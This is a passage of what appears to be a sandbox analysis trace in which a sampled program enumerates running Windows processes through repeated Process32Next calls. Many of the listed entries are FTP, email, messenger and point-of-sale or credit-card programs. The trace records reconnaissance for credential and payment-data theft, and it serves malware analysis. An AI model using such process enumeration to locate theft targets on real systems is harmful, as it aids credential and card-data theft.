hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.674] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.724] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.726] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.728] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.729] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.730] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.732] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.733] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0223.735] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.736] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.738] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.740] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.741] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.742] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.744] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.745] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0223.747] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0223.749] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.750] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0223.752] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0223.753] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0223.755] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0223.756] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0223.758] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0223.759] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0223.760] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0223.762] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0223.763] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0223.765] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0223.766] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0223.768] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0223.819] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0223.821] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0223.823] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0223.825] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0223.827] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0223.829] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0223.831] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0223.833] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0223.835] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0223.837] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0223.839] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0223.841] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0223.842] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0223.844] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0223.847] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0223.849] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0223.851] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0223.853] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0223.855] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0223.857] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0223.858] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0223.860] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0223.862] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0223.913] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0223.915] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0223.917] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0223.919] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0223.921] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0223.923] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0223.925] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0223.927] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0223.929] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0223.931] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0223.933] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0223.935] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0223.936] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0223.938] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0223.940] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0223.942] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0223.943] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0223.945] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0223.947] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0223.948] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0223.950] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0223.951] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0223.953] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0223.955] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0224.004] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0224.006] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0224.008] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0224.010] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0224.011] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk 